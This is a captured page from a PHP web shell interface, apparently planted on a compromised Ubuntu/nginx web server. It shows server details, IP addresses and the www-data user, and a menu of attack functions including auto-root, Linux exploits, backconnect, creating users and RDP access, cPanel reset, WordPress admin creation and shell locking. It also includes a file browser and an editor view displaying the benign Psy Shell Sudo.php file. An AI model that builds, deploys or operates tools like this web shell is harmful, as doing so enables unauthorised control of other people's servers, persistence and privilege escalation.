Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.159
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
sdgamatya /
vendor /
psy /
psysh /
src /
Psy /
[ HOME SHELL ]
Name
Size
Permission
Action
CodeCleaner
[ DIR ]
drwxr-xr-x
Command
[ DIR ]
drwxr-xr-x
Exception
[ DIR ]
drwxr-xr-x
ExecutionLoop
[ DIR ]
drwxr-xr-x
Formatter
[ DIR ]
drwxr-xr-x
Input
[ DIR ]
drwxr-xr-x
Output
[ DIR ]
drwxr-xr-x
Readline
[ DIR ]
drwxr-xr-x
Reflection
[ DIR ]
drwxr-xr-x
Sudo
[ DIR ]
drwxr-xr-x
TabCompletion
[ DIR ]
drwxr-xr-x
Util
[ DIR ]
drwxr-xr-x
VarDumper
[ DIR ]
drwxr-xr-x
VersionUpdater
[ DIR ]
drwxr-xr-x
Autoloader.php
894
B
-rw-r--r--
CodeCleaner.php
7.95
KB
-rw-r--r--
Compiler.php
4.65
KB
-rw-r--r--
ConfigPaths.php
5.92
KB
-rw-r--r--
Configuration.php
34.14
KB
-rw-r--r--
ConsoleColorFactory.php
2.39
KB
-rw-r--r--
Context.php
7.37
KB
-rw-r--r--
ContextAware.php
595
B
-rw-r--r--
ParserFactory.php
2.37
KB
-rw-r--r--
Shell.php
29.33
KB
-rw-r--r--
Sudo.php
4.18
KB
-rw-r--r--
functions.php
11.03
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Sudo.php
<?php /* * This file is part of Psy Shell. * * (c) 2012-2017 Justin Hileman * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Psy; /** * Helpers for bypassing visibility restrictions, mostly used in code generated * by the `sudo` command. */ class Sudo { /** * Fetch a property of an object, bypassing visibility restrictions. * * @param object $object * @param string $property property name * * @return mixed Value of $object->property */ public static function fetchProperty($object, $property) { $refl = new \ReflectionObject($object); $prop = $refl->getProperty($property); $prop->setAccessible(true); return $prop->getValue($object); } /** * Assign the value of a property of an object, bypassing visibility restrictions. * * @param object $object * @param string $property property name * @param mixed $value * * @return mixed Value of $object->property */ public static function assignProperty($object, $property, $value) { $refl = new \ReflectionObject($object); $prop = $refl->getProperty($property); $prop->setAccessible(true); $prop->setValue($object, $value); return $value; } /** * Call a method on an object, bypassing visibility restrictions. * * @param object $object * @param string $method method name * @param mixed $args... * * @return mixed */ public static function callMethod($object, $method, $args = null) { $args = func_get_args(); $object = array_shift($args); $method = array_shift($args); $refl = new \ReflectionObject($object); $reflMethod = $refl->getMethod($method); $reflMethod->setAccessible(true); return $reflMethod->invokeArgs($object, $args); } /** * Fetch a property of a class, bypassing visibility restrictions. * * @param string|object $class class name or instance * @param string $property property name * * @return mixed Value of $class::$property */ public static function fetchStaticProperty($class, $property) { $refl = new \ReflectionClass($class); $prop = $refl->getProperty($property); $prop->setAccessible(true); return $prop->getValue(); } /** * Assign the value of a static property of a class, bypassing visibility restrictions. * * @param string|object $class class name or instance * @param string $property property name * @param mixed $value * * @return mixed Value of $class::$property */ public static function assignStaticProperty($class, $property, $value) { $refl = new \ReflectionClass($class); $prop = $refl->getProperty($property); $prop->setAccessible(true); $prop->setValue($value); return $value; } /** * Call a static method on a class, bypassing visibility restrictions. * * @param string|object $class class name or instance * @param string $method method name * @param mixed $args... * * @return mixed */ public static function callStatic($class, $method, $args = null) { $args = func_get_args(); $class = array_shift($args); $method = array_shift($args); $refl = new \ReflectionClass($class); $reflMethod = $refl->getMethod($method); $reflMethod->setAccessible(true); return $reflMethod->invokeArgs(null, $args); } /** * Fetch a class constant, bypassing visibility restrictions. * * @param string|object $class class name or instance * @param string $const constant name * * @return mixed */ public static function fetchClassConst($class, $const) { $refl = new \ReflectionClass($class); return $refl->getConstant($const); } }
Close